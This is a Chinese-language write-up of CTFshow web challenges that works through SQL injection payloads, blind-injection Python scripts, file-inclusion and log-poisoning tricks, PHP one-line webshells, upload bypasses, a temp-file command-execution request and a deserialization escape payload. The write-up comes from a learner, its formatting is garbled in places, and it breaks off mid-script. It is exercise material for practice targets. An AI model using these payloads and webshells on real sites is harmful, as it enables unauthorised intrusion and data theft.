CTFSHOW第一部分web题wp整理
web2 用户名和密码都是注入点 第一步:查询有几个字段: 1’ or 1=1 orde by 3# (4就没有列数了 判断之后3列) 第二步: 发现回显位置: 1’ union select 1,2,3 # 回显2 说明回显位置在2 第三步: 查看数据表名称: 1’ union select 1,database(),3 # 得到web2 第四步: 得到数据表 1’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database(); #
1 2 **`group_concat(table_name)`**:`group_concat` 是一个 MySQL 内置的聚合函数,它将查询结果中的多个值连接成一个字符串。`table_name` 是 `information_schema.tables` 表中的列,存储了所有表的名字。 **`table_schema`**:表示数据库的名称,即该表属于哪个数据库
查到了有flag 和 user表 第五步: 查看列名 1’ union select 1,group_concat(column_name),3 from information_schema.columns where table_name=’flag’; # (和上一步的区别就是用information_schema.后面的内容不一样) 发现只有flag这列 最后一步查询数据 1’ union selcet 1,group_concat(flag),3 from web2.flag; # (用xx.xx 来访问数据库和表) 或者1’ union select 1,(select flag from flag),3; #
web3 题面: <?php include($_GET['url']);?>
可以找到etc/passwd 法一: 利用之前dc系列靶机的思路 利用访问记录文件 用bp抓包写入一句话木马 然后用蚁剑连接 先找到真实的相对路径 用bp 发现相对路径是三重 然后我们再用bp发一个请求 然后访问../../../var/log/nginx/access.log 这题和dc5那题不一样的是一句话木马要写在User-Agent那里 根据log文件回显内容来定 这里还因为ctfshow是https 所以还要修改这个其他设置 法二:利用php伪协议 /?url=php://input php脚本可以直接读取POST请求中的原始数据 页面回显两个文件 进入查看flag
法二:sqlmap作弊 但是要花不少时间跑
web6 输入常见的sql注入语句之后会出现sql inject error 测试之后发现了空格被过滤 可以用/**/
绕过 接着和常规sql注入一样 过滤 or and xor not 绕过
1 2 3 4 and = && or = || xor = | not = !
=绕过 like 大小于号过滤 !<>(<>等价于!=)
web8
基于布尔的sql注入 先去看看过滤了哪些字符 逐个尝试字符 发现 ‘ 空格 + and or union等等都给过滤了 但是select没有过滤 所以没有union页面的信息不能回显 怎么办呢? 数据库内置函数 ascii()
和 substr()
是可以将我们查询的字符串每个字符提取出来 sql injection payload:
1 id =-1||ascii(substr(({{select查询结果字符串}})/**/from /**/{{提取子串位置}}/**/for /**/1))={当前可能的字符ascii值}
这里的大括号只是占位符 实际应用的时候替换成实际需要的字符串,from {{提取子串位置}}
表示从第几个字符开始。for 1
表示提取 1 个字符。 这样子如果||后面的内容是true的话页面会有内容 如果是false就没有内容 这样子就遍历子串的位置 根据相应长度,可以判断字符在这个位置的具体字符(只有和这个具体字符匹配才能回显) 假设可能字符有 [a-z]|[A-Z]|[0-9]|{_,-,+,\,,\{,\}}
,那么每次尝试的可能字符有 97 种,因为要等服务器响应,所以算上延迟假设 0.5s。 通常一个 flag 的长度在 9 到 60,最坏时间要 0.5*60*97=2910s
,所以还是要等很久,那么如何优化呢? 可以利用二分的思路
1 id=-1 ||ascii(substr(({select 查询结果字符串})from {提取子串位置}for 1 ))<={当前可能的字符ascii值}
运用二分查找可以,将查找 97 种的字符的平均次数降低为 6 次。因此再次计算最坏时间为 0.5*60*6=180s
,当然实际情况会根据服务器响应速度降低很多。 编写py脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 url = "http://390226a3-4612-416d-b31b-5f06c69cc09a.challenge.ctf.show/index.php?id=-1" flag = "" def check(mid , num ): sql = "/**/||/**/ascii(substr((select/**/flag/**/from/**/flag)/**/from/**/{:d}/**/for/**/1))<={:d}" .format (num ,mid ) payload = url + sql res = requests.get (payload) return 'If' in res.text def bsearch(l, r, num ): while l < r: mid = (l + r) >> 1 if check(mid , num ): r = mid else : l = mid + 1 return l for num in range(1 , 60 ): l = 33 r = 130 res = bsearch(l, r, num ) if chr(res) == "!" : break flag += chr(res) print(f'第{num}次遍历结果:{flag}' )
这里选择了!作为终止结束判断符的原因是 查询结果超出flag长度之后,数据库返回特殊字符 太nb了
web9 用bp爆破密码之后没有结果 进入robots.txt 界面 发现有一个index.phps界面 文件内容:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php $flag ="" ; $password =$_POST ['password' ]; if (strlen ($password )>10 ){ die ("password error" ); } $sql ="select * from user where username ='admin' and password ='" .md5 ($password ,true )."'" ; $result =mysqli_query ($con ,$sql ); if (mysqli_num_rows ($result )>0 ){ while ($row =mysqli_fetch_assoc ($result )){ echo "登陆成功<br>" ; echo $flag ; } } ?>
在 mysql 内,用作布尔型判断时,以 1 开头的字符串会被当做整型数。要注意的是这种情况是必须要有单引号括起来的,比如 password=’ or ‘1xxxx’,那么就相当于 password=’ or 1,所以返回值就是 true md5 (‘ffifdyop’,true)=’or’6xxxxxx 利用这个传入ffifdyop参数 在hackbar中输入password=ffifdyop 解决
web10 点击取消就自动下载附件了 代码审计题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php $flag ="" ; function replaceSpecialChar ($strParam ) { $regex = "/(select|from|where|join|sleep|and|\s|union|,)/i" ; return preg_replace ($regex ,"" ,$strParam ); } if (!$con ) { die ('Could not connect: ' . mysqli_error ()); } if (strlen ($username )!=strlen (replaceSpecialChar ($username ))){ die ("sql inject error" ); } if (strlen ($password )!=strlen (replaceSpecialChar ($password ))){ die ("sql inject error" ); } $sql ="select * from user where username = '$username '" ; $result =mysqli_query ($con ,$sql ); if (mysqli_num_rows ($result )>0 ){ while ($row =mysqli_fetch_assoc ($result )){ if ($password ==$row ['password' ]){ echo "登陆成功<br>" ; echo $flag ; } } } ?>
可以看到过滤可这些常用的sql注入语法 看看大佬的payload:
1 username = admin'or 1 = 1 groupbypasswordwith rollup
这里我们要学习sql语句中的group by 和 with rollup 来源:https://www.cnblogs.com/GTL-JU/p/16097234.html GROUP BY
函数 : GROUP BY
函数用于对查询结果进行分类。它后面跟随的字段指定了分类的依据。 例如: sql SELECT student FROM students GROUP BY age; -- 按照年龄将学生分类
WITH ROLLUP
函数: WITH ROLLUP
函数通常跟在 GROUP BY
函数后面,用于对分类后的数据进行汇总统计。它会在 GROUP BY
函数的基础上生成汇总行,通常是按各分类的统计数据进行合计。加入 WITH ROLLUP
后,结果中会出现一行 password
为 NULL
。 只进行group by函数 : 和with rollup一起啊使用:
web11 要让password和session中的password一样 用bp抓包修改
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 GET /login.php?password= HTTP/1 .1 Host : 6187 d084-3 db8-49 d8-ace9-864432 c9ca24.challenge.ctf.showCookie : Sec -Ch-Ua: "Chromium" ;v="117" , "Not;A=Brand" ;v="8" Sec -Ch-Ua-Mobile: ?0 Sec -Ch-Ua-Platform: "macOS" Upgrade -Insecure-Requests: 1 User -Agent: Mozilla/5 .0 (Windows NT 10 .0 ; Win64; x64) AppleWebKit/537 .36 (KHTML, like Gecko) Chrome/117 .0 .5938 .132 Safari/537 .36 Accept : text/html,application/xhtml+xml,application/xml;q=0 .9 ,image/avif,image/webp,image/apng,*/*;q=0 .8 ,application/signed-exchange;v=b3;q=0 .7 Sec -Fetch-Site: same-originSec -Fetch-Mode: navigateSec -Fetch-User: ?1 Sec -Fetch-Dest: documentReferer : https://6187 d084-3 db8-49 d8-ace9-864432 c9ca24.challenge.ctf.show/Accept -Encoding: gzip, deflate, brAccept -Language: zh-CN,zh;q=0 .9 Connection : close
这里吧Cookie清空 password也清空
解释:
Session
通常依赖 Cookie 来存储
Session ID
,例如:
setcookie("PHPSESSID", session_id(), time() + 3600, "/");
当用户访问服务器时,浏览器会自动携带
PHPSESSID
,从而服务器可以找到对应的
Session
数据。
web12 查看网页源代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | | | |--- |--- | ||<html lang="zh-CN"> | ||| ||<head> | ||<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> | ||<meta name="viewport" content="width=device-width minimum-scale=1.0 maximum-scale=1.0 initial-scale=1.0" /> | ||<title>ctf.show_web12</title> | ||</head> | ||<body> | ||<center> | ||<h2>ctf.show_web12</h2> | ||<h4>where is the flag?</h4> | ||<!-- hit:?cmd= --> | ||| ||</body> | ||</html> | |||
提示输入?cmd= 输入?cmd=phpinfo();测试 发现可以执行这个命令 说明有远程执行漏洞 方法1:用一句话木马 然后用蚁剑连接 cmd=@eval($_POST[%27a%27]);
但是连接进去之后报错 这是有些网站中会禁用 php 中的一些危险函数,导致即使上传马上去,也执行不了命令,很典型的就是宝塔的网站 。 下载绕过 disable_functions 插件 蚁剑的插件市场要访问github要在设置代理 修改成梯子的代理 选择这个模式终于可以访问终端
1 2 3 4 5 (www-data:/var /www/html) $ cat 903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f .php <?php $flag ="ctfshow{9fad8f78-6005-4246-8932-5ce7635a1647}" ;?> (www-data:/var /www/html) $
方法2: 用php中的glob函数 glob () 函数返回匹配指定模式的文件名或目录。 输入?cmd=print_r(glob('*'));
可以发现有两个php文件 有信息的那个php文件看不了 所以用highlight_file () 函数,可以使文件内容高亮显示,常用于读取文件?cmd=highlight_file(%27903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php%27);
方法3: 用scandir('*');
函数 和2 差不多
红包题第二弹 查看源码 提示输入cmd 用get请求传入cmd 给出php源码 这里过滤了很多符号 只有p . \ = < > ?
和反引号没有被屏蔽
PHP 上传机制:
在 php 中,使用 Content-Type: multipart/form-data;
上传文件时,会将它保存在临时文件中,在 php 的配置中 upload_tmp_dir
参数为保存临时文件的路经,linux 下面默认为 /tmp
。也就是说只要 php 接收上传请求,就会生成一个临时文件。如果具有上传功能,那么会将这个文件拷走储存。无论如何在执行结束后这个文件会被删除。并且 php 每次创建的临时文件名都有固定的格式,为 phpXXXX.tmp(Windows 中)、php**.tmp(Linux 中)。我们可以发送一个上传文件的 post 包,此时 php 会将我们上传的文件保存在临时文件夹下,默认的文件名是 /tmp/phpxxxxxx,文件名最后 6 个字符是随机的大小写字母。如 /tmp/php123abc
PHP 中反引号作用:在 php 里面反引号里面的内容会被当做 shell 命令被执行。例如 会直接当作命令执行
.
号相当于 source
命令,这个命令可以直接把文件内容当作命令执行,相当于把文件直接当作 shell 脚本执行
<?=
相当于 <?php ehco
的简写版
?
相当于字符的通配符
+
相当于空格
payload 构造
1 2 3 4 5 6 7 > /?cmd=?> <?= `.+/??p/p?p??????`; `?> `:闭合前面的 `<?php ` 命令 `<?= `:相当于 `<?php echo ` 反引号:执行命令 `.` 相当于 `source` 命令 `+`:相当于空格 `?`:文字通配符,负责执行上传的临时文件
payload中用了??p 替代了tmp p?p 代替php 先用hackbar发送post但是不传数据 然后指定 发送下面请求包
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 POST /?cmd=?><?=`.+/??p/p?p??????`; HTTP/1.1 Host : ee6eb8bb-2686-490f-84db-a4abf42beb04.challenge.ctf.showCache-Control : max-age=0Sec-Ch-Ua : "Chromium";v="117", "Not;A=Brand";v="8"Sec-Ch-Ua-Mobile : ?0Sec-Ch-Ua-Platform : "macOS"Upgrade-Insecure-Requests : 1User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site : noneSec-Fetch-Mode : navigateSec-Fetch-User : ?1Sec-Fetch-Dest : documentAccept-Encoding : gzip, deflate, brAccept-Language : zh-CN,zh;q=0.9Connection : closeContent-Type : multipart/form-data; boundary=---------------------------10242300956292313528205888Content-Length : 244-----------------------------10242300956292313528205888 Content-Disposition: form-data; name = "fileUpload" ; filename = "1.txt" Content-Type: text/plain cat /flag.txt - ----------------------------1024230095629231352820588 8--
我刚看到wp中的这个请求包也是一头雾水,把bp中抓的包发送到repeater中,然后修改第一行,请求方式改成POST,cmd传入payload 然后在Connection: close后面加上哪些参数,boundary可以自己定义。 使用Content-Type: multipart/form-data
web13 题目这里只有一个上传文件按钮 如果我随便上传一个文件会显示error file zise ,说明对文件的大小有限制 并且上传界面在/upload.php中 根据网上的wp,知道如果想要看源文件,一般可以从.bak .git .hg .DS_Store 获取,所以输入/upload.php.bak,得到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php header ("content-type:text/html;charset=utf-8" ); $filename = $_FILES ['file' ]['name' ]; $temp_name = $_FILES ['file' ]['tmp_name' ]; $size = $_FILES ['file' ]['size' ]; $error = $_FILES ['file' ]['error' ]; $arr = pathinfo ($filename ); $ext_suffix = $arr ['extension' ]; if ($size > 24 ){ die ("error file zise" ); } if (strlen ($filename )>9 ){ die ("error file name" ); } if (strlen ($ext_suffix )>3 ){ die ("error suffix" ); } if (preg_match ("/php/i" ,$ext_suffix )){ die ("error suffix" ); } if (preg_match ("/php/i" ),$filename )){ die ("error file name" ); } if (move_uploaded_file ($temp_name , './' .$filename )){ echo "文件上传成功!" ; }else { echo "文件上传失败!" ; } ?>
这里要求文件的字符数要不大于24 名字不大于9个字符 后缀不大于3个字符 而且不让上传php文件 所以我们在a.txt中写入一句话木马,先 在 php 中 “.user.ini” 有如下解释:php 会在每个目录下搜寻文件名,如果设定为空字符串则 php 不会搜寻,也就是在 “.user.ini” 中如果设置了文件名,那么任意一个页面都将该文件中的内容包含进去。有两种方法: auto_prepend_file: 在页面顶部加载文件 auto_append_file: 在页面底部加载文件 先写这个.user.ini文件并上传 然后再上传一句话木马的.txt文件
1 2 3 4 5 <?= @eval ($_POST ['a' ]); auto_append_file=a.txt
但是用蚁剑连接之后看不到数据,我们就用post请求传入a 用glob找到目录 然后再和web12一样用highlight_file()读取文件 (注意用单引号包裹文件)
web14 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 <?php include ("secret.php" ); if (isset ($_GET ['c' ])){ $c = intval ($_GET ['c' ]); sleep ($c ); switch ($c ) { case 1 : echo '$url' ; break ; case 2 : echo '@A@' ; break ; case 555555 : echo $url ; case 44444 : echo "@A@" ; break ; case 3333 : echo $url ; break ; case 222 : echo '@A@' ; break ; case 222 : echo '@A@' ; break ; case 3333 : echo $url ; break ; case 44444 : echo '@A@' ; case 555555 : echo $url ; break ; case 3 : echo '@A@' ; case 6000000 : echo "$url " ; case 1 : echo '@A@' ; break ; } } highlight_file (__FILE__ );
这里c参数选择3的时候,没有break,会继续向下执行 出现@A@here_1s_your_f1ag.php@A@
提示 进入这个php 是一个登录界面 下一步就是sql注入了 查看源码 发现过滤的东西 空格也过滤了
1 2 3 4 5 |<!-- | ||if(preg_match('/information_schema\.tables\ |information_schema\.columns\ |linestring\ | \ |polygon/is', $_GET['query'])){ | ||die('@A@'); | ||} | ||--> |
空格的绕过我们学过,这里没有过滤反引号 反引号:它是为了区分 MYSQL 的保留字与普通字符而引入的符号。 接下来就是sql注入的部分了: 1.爆库:-1/**/union/**/select/**/database();
得到库名web 2.爆表:-1/**/union/**/select/**/group_concat(table_name)/**/from/**/information_schema.
tables/**/where/**/table_schema=database();
得到表名content 3.爆字段:-1/**/union/**/select/**/group_concat(column_name)/**/from/**/information_schema.
columns/**/where/**/table_name='content';
得到id,username,password 4.爆值: -1/**/union/**/select/**/group_concat(id,username,password)/**/from/**/web.content;
没有直接给出flag但是给了一些提示 提示secret 所以访问secret.php 要用load_file()函数读取这个文件-1/**/union/**/select/**/load_file('/var/www/html/secret.php')
但是坑爹的是,没有直接回显,查看源码发现有多了
1 2 3 4 5 6 7 8 9 | | |--- | |<script>alert('<!-- ReadMe --> | ||<?php | ||$url = 'here_1s_your_f1ag.php'; | ||$file = '/tmp/gtf1y'; | ||if(trim(@file_get_contents($file)) === 'ctf.show'){ | ||echo file_get_contents('/real_flag_is_here'); | ||}')</script> |
所以再用load_file读
红包题第六弹 这题我感觉特别难,看着wp试着理解一下,首先这个题目给了一个登录界面,但是提示说不是sql注入需要找到关键源码。 扫一下网站的目录
1 2 3 4 5 6 7 8 9 10 11 12 ``` ┌──(root㉿kakeru)-[~/tmp] └─# cat /root/tmp/reports/https_f991d1d6 -f578-4825 -a048-004 c12279240 .challenge.ctf.show/__25-02-05_15 -07 -10 .txt | grep ".zip" 200 2 KB https://f991d1d6 -f578-4825 -a048-004 c12279240 .challenge.ctf.show/vb.zip200 576 B https://f991d1d6 -f578-4825 -a048-004 c12279240 .challenge.ctf.show/web.zip200 2 KB https://f991d1d6 -f578-4825 -a048-004 c12279240 .challenge.ctf.show/website.zip200 2 KB https://f991d1d6 -f578-4825 -a048-004 c12279240 .challenge.ctf.show/wordpress.zip200 2 KB https://f991d1d6 -f578-4825 -a048-004 c12279240 .challenge.ctf.show/wp-config.php.zip200 2 KB https://f991d1d6 -f578-4825 -a048-004 c12279240 .challenge.ctf.show/wp.zip200 2 KB https://f991d1d6 -f578-4825 -a048-004 c12279240 .challenge.ctf.show/wwwroot.zip200 2 KB https://f991d1d6 -f578-4825 -a048-004 c12279240 .challenge.ctf.show/www.zip200 2 KB https://f991d1d6 -f578-4825 -a048-004 c12279240 .challenge.ctf.show/zipkin/
搜索zip的文件,然后把这个web.zip下载下来 , 这是网站源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 function receiveStreamFile ($receiveFile ) { $streamData = isset ($GLOBALS ['HTTP_RAW_POST_DATA' ])? $GLOBALS ['HTTP_RAW_POST_DATA' ] : '' ; if (empty ($streamData )){ $streamData = file_get_contents ('php://input' ); } if ($streamData !='' ){ $ret = file_put_contents ($receiveFile , $streamData , true ); }else { $ret = false ; } return $ret ; } if (md5 (date ("i" )) === $token ){ $receiveFile = 'flag.dat' ; receiveStreamFile ($receiveFile ); if (md5_file ($receiveFile )===md5_file ("key.dat" )){ if (hash_file ("sha512" ,$receiveFile )!=hash_file ("sha512" ,"key.dat" )){ $ret ['success' ]="1" ; $ret ['msg' ]="人脸识别成功!$flag " ; $ret ['error' ]="0" ; echo json_encode ($ret ); return ; } $ret ['errormsg' ]="same file" ; echo json_encode ($ret ); return ; } $ret ['errormsg' ]="md5 error" ; echo json_encode ($ret ); return ; } $ret ['errormsg' ]="token error" ;echo json_encode ($ret );return ;
可以看到中源码中有对token做判断。可以抓包看看,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 POST /check.php?token=1f0e3dad99908345f7439f8ffabdffc4&php://input HTTP/1.1 Host : f991d1d6-f578-4825-a048-004c12279240.challenge.ctf.showContent-Length : 27Sec-Ch-Ua : "Chromium";v="117", "Not;A=Brand";v="8"Sec-Ch-Ua-Mobile : ?0User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36Sec-Ch-Ua-Platform : "macOS"Accept : */*Origin : https://f991d1d6-f578-4825-a048-004c12279240.challenge.ctf.showSec-Fetch-Site : same-originSec-Fetch-Mode : corsSec-Fetch-Dest : emptyReferer : https://f991d1d6-f578-4825-a048-004c12279240.challenge.ctf.show/vb.zipAccept-Encoding : gzip, deflate, brAccept-Language : zh-CN,zh;q=0.9Connection : closeusername or password error !
发现在第一行这里确实跟了一个token 我解密出来这个md5对应的值是19 源码中的逻辑是设置了一个 receivefile 为 flag.dat,然后调用 receiveStreamFile($receiveFile);,可以发现是需要用 php://input 获取文件流,然后返回一个文件,接下来需要自己传上去的文件与已存在的 key.dat 的 MD5 要一致,sha512 不一致,即可打印出 flag 所以首先要获取这个key.dat 可以从url处直接下载 接下来我们上传的文件的md5要一样 sha512不一样 需要用python实现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 import requestsimport timeimport hashlibimport threadingi = str (time.localtime().tm_min) m = hashlib.md5(i.encode()).hexdigest() url = "https://ad0204ed-4869-4879-96b1-fa5681393cdb.challenge.ctf.show/check.php?token={}&php://input" .format (m) def POST (data ): try : r = requests.post(url, data=data) if "ctfshow" in r.text: print (r.text) except Exception as e: print ("something went wrong!" ) with open ('/Users/kakeru/ctf/key.dat' , 'rb' ) as t: data1 = t.read() for i in range (50 ): threading.Thread(target=POST, args=(data1,)).start() for i in range (50 ): data2 = 'emmmmm' threading.Thread(target=POST, args=(data2,)).start()
红包题第七弹 题目就给了一个phpinfo的界面,没有什么信息,用dirsearch扫描一下目录 扫一下PHP文件 这题考查的是.git泄漏 目录扫描之后会找到一个/.git/index文件 在linux中查看这个index的内容
1 2 3 DIRC ^J??9 ??^Jw?!'???U??0 wQW?8 ??>&?=??<< backdoor .php^J??8 ?ь^Jw? ?1 ???Am"?~?]?I???t? ??? index.phpTREE2 0
有一个backdoor.php文件,去看看是什么
页面返回内容是这个,说明有个后门,但是不知道具体什么,这里后门是英文单词的后门Letmein (不知道怎么得到的) hackbar post传入
1 Letmein = print_r (glob ("*" ))
得到Array ( [0] => backdoor.php [1] => index.php )
用蚁剑连接之后在/var/www目录下面有flag.txt 用hackbar中手动用highlight_file查看 得到flag
萌新专属红包题 bp抓包然后爆破密码 得到密码之后登录
在页面的网络中有一个flag请求头,然后base64解码就能得到flag
1 2 3 4 ┌──(root㉿kakeru)-[~/tmp] └─# echo "Y3Rmc2hvd3tjZTBhNmI3Ni1jMGQxLTQyNWMtYjU0NC0yOTg5ZmVmNmFjZTN9" | base64 -d ctfshow{ce0a6b76-c0d1-425c-b544-2989fef6ace3}
CTFshow web1 题目还是一个登录界面,但是可以注册,注册一个账号登录进去,有显示一个flag的信息 但是没有什么多余信息 用dirsearch扫到一个www.zip 下载下来就是网页的源代码 login.php这个源码中显示禁了很多字符,所以无法sql注入 在user_main.php中有关键代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 < ? php if (isset($_SESSION["login" ]) && $_SESSION["login" ] == = true ) { $con = mysqli_connect("localhost" , "root" , "root" , "web15" ); if (! $con) { die('Could not connect: ' . mysqli_error()); } $order = $_GET['order']; if (isset($order) && strlen($order) < 6 ) { if (preg_match("/group|union|select|from|or|and|regexp|substr|like|create|drop|\, |\` |\~ |\! |\@ |\# |\% |\^ |\& |\* |\( |\) |\( |\) |\- |\_ |\+ |\= |\{ |\} |\[ |\] |\; |\: |\' |\’ |\“ |\" |\< |\> |\? |\, |\. |\? /i" , $order)) { die("error" ); } $sql = "select * from user order by $order" ; } else { $sql = "select * from user order by id" ; } } ? >
如果我们把order=pwd,就可以一直注册,根据密码排序,得到flag。 因为这里用orderby排序了,所以可以让我们注册的密码和flag的密码进行比较 一段来自网上的脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 import requests import hashlib url = "https://69ffa319-8ced-4173-8a89-71f4446243aa.challenge.ctf.show/" def reg(password): data = {"username" : password, "email" : "1" , "nickname" : "1" , "password" : password} r = requests.post(url =url + "reg.php" , data =data, allow_redirects =False ) if r.status_code == 302: return True else : return False def login(username, password): # proxy = {"http" :"http://127.0.0.1:8080" } data = {"username" : username, "password" : hashlib.md5(password.encode()).hexdigest()} s = requests.session() r = s.post(url =url + "login.php" , data =data, allow_redirects =False ) # print (r.headers) if r.headers["location" ] == "/user_main.php?order=id" : return s else : print ("login error!" ) return None key = "-.0123456789:abcdefghijklmnopqrstuvwxyz{|}~" reg(hashlib.md5("check" .encode()).hexdigest()) session = login(hashlib.md5("check" .encode()).hexdigest(), "check" ) pwd = ["-" ] * 100 for i in range(len(pwd)): for x in range(len(key)): pwd[i] = key[x] _pwd = "" .join(pwd) if reg(_pwd): r = session.get (url =url + "user_main.php?order=pwd" ) if _pwd in r.text.split("flag_is_my_password" )[1]: pwd[i] = key[x - 1] print ("" .join(pwd)) break
但是我用了网上的几个脚本都只能解密到一半就报错了。还是以后等自己python学好了写自己的脚本吧
game-gyctf web2 题目是一个登录系统,提示成员留后门。随便输入了一个用户名和密码提示用户不存在,输入admin用户提示密码错误,所以先尝试能不能爆破。爆破失败,但是扫描目录发现www.zip下载下来之后可以得到网页的源码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php require_once ('lib.php' );echo '<html> <meta charset="utf-8"> <title>update</title> <h2>这是一个未完成的页面,上线时建议删除本页面</h2> </html>' ;if ($_SESSION ['login' ]!=1 ){ echo "你还没有登陆呢!" ; } $users =new User ();$users ->update ();if ($_SESSION ['login' ]===1 ){ require_once ("flag.php" ); echo $flag ; } ?>
要想登录成功就要让session [login]=1 后面的代码审计和反序列化字符逃逸对我来还是太难了,详情可以看这篇博客# CTFSHOW - 日刷 - game-gyctf web2/pop 链 - 反序列字符逃逸 最后在?action=update界面上传post数据 payload:
1 age=18 &nickname=intointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointo";s:8:" CtrlCase";O:12:" UpdateHelper":1:{s:3:" sql";O:4:" User":2:{s:3:" age";s:70:" select 1 ,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:" nickname";O:4:" Info":3:{s:3:" age";N;s:8:" nickname";N;s:8:" CtrlCase";O:6:" dbCtrl":2:{s:4:" name";s:5:" admin";s:8:" password";s:1:" 1 ";}}}}}
然后出现10-0就说明成功 用admin/1就可以登录了
web15 Fishman 题目又是一个登录界面,注册个账号看看.但是点注册跳转到的是qq的注册地址,而且又是一个代码审计题目 在网址输入/www.zip就可以下载源文件,扫描之后发现网站还有一个admin.目录 在member.php中存在sql注入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 <?php if (!defined ('IN_CRONLITE' )) { exit (); } $islogin = 0 ; if (isset ($_COOKIE ["islogin" ])) { if ($_COOKIE ["login_data" ]) { $login_data = json_decode ($_COOKIE ['login_data' ], true ); $admin_user = $login_data ['admin_user' ]; $udata = $DB ->get_row ("SELECT * FROM fish_admin WHERE username='$admin_user ' limit 1" ); if ($udata ['username' ] == '' ) { setcookie ("islogin" , "" , time () - 604800 ); setcookie ("login_data" , "" , time () - 604800 ); } $admin_pass = sha1 ($udata ['password' ] . LOGIN_KEY); if ($admin_pass == $login_data ['admin_pass' ]) { $islogin = 1 ; } else { setcookie ("islogin" , "" , time () - 604800 ); setcookie ("login_data" , "" , time () - 604800 ); } } } if (isset ($_SESSION ['islogin' ])) { if ($_SESSION ["admin_user" ]) { $admin_user = base64_decode ($_SESSION ['admin_user' ]); $udata = $DB ->get_row ("SELECT * FROM fish_admin WHERE username='$admin_user ' limit 1" ); $admin_pass = sha1 ($udata ['password' ] . LOGIN_KEY); if ($admin_pass == $_SESSION ["admin_pass" ]) { $islogin = 1 ; } } } ?>
当查询返回的用户名为空且密码错误时,进行四次 setcookie 操作 当查询返回的用户名为不为空时,进行两次 setcookie 操作 大佬的脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 import requestsurl = "http://662305d4-5c5b-490d-bedf-dbc29ead878a.challenge.ctf.show/admin/" def tamper (payload ): payload = payload.lower() payload = payload.replace('u' , '\\u0075' ) payload = payload.replace('\'' , '\\u0027' ) payload = payload.replace('o' , '\\u006f' ) payload = payload.replace('i' , '\\u0069' ) payload = payload.replace('"' , '\\u0022' ) payload = payload.replace(' ' , '\\u0020' ) payload = payload.replace('s' , '\\u0073' ) payload = payload.replace('#' , '\\u0023' ) payload = payload.replace('>' , '\\u003e' ) payload = payload.replace('<' , '\\u003c' ) payload = payload.replace('-' , '\\u002d' ) payload = payload.replace('=' , '\\u003d' ) payload = payload.replace('f1a9' , 'F1a9' ) payload = payload.replace('f1' , 'F1' ) return payload def databaseName_len (): print ("start get database name length..." ) for l in range (0 ,45 ): payload = "1' or (length(database())=" + str (l+1 ) + ")#" payload = tamper(payload) tmpCookie = 'islogin=1;login_data={"admin_user":"%s","admin_pass":65}' % payload headers = {'cookie' : tmpCookie} r =requests.get(url, headers=headers) myHeaders = str (r.raw.headers) if ((myHeaders.count("login_data" ) == 1 )): print ('get db length = ' + str (l).lower()) break def get_databaseName (): flag = '' for j in range (0 , 15 ): for c in range (0x20 ,0x7f ): if chr (c) == '\'' or chr (c) == ';' or chr (c) == '\\' or chr (c) == '+' : continue else : payload = "1' or (select (database()) between '" + flag + chr (c) + "' and '" +chr (126 ) + "')#" payload = tamper(payload) tmpCookie = 'islogin=1;login_data={"admin_user":"%s","admin_pass":65}' % payload headers = {'cookie' : tmpCookie} r =requests.get(url, headers=headers) myHeaders = str (r.raw.headers) if ((myHeaders.count("login_data" ) == 2 )): flag += chr (c - 1 ) print ('databasename = ' + flag.lower()) break def get_tableName (): flag = '' for j in range (0 , 30 ): for c in range (0x20 ,0x7f ): if chr (c) == '\'' or chr (c) == ';' or chr (c) == '\\' or chr (c) == '+' : continue else : payload = "1' or (select (select 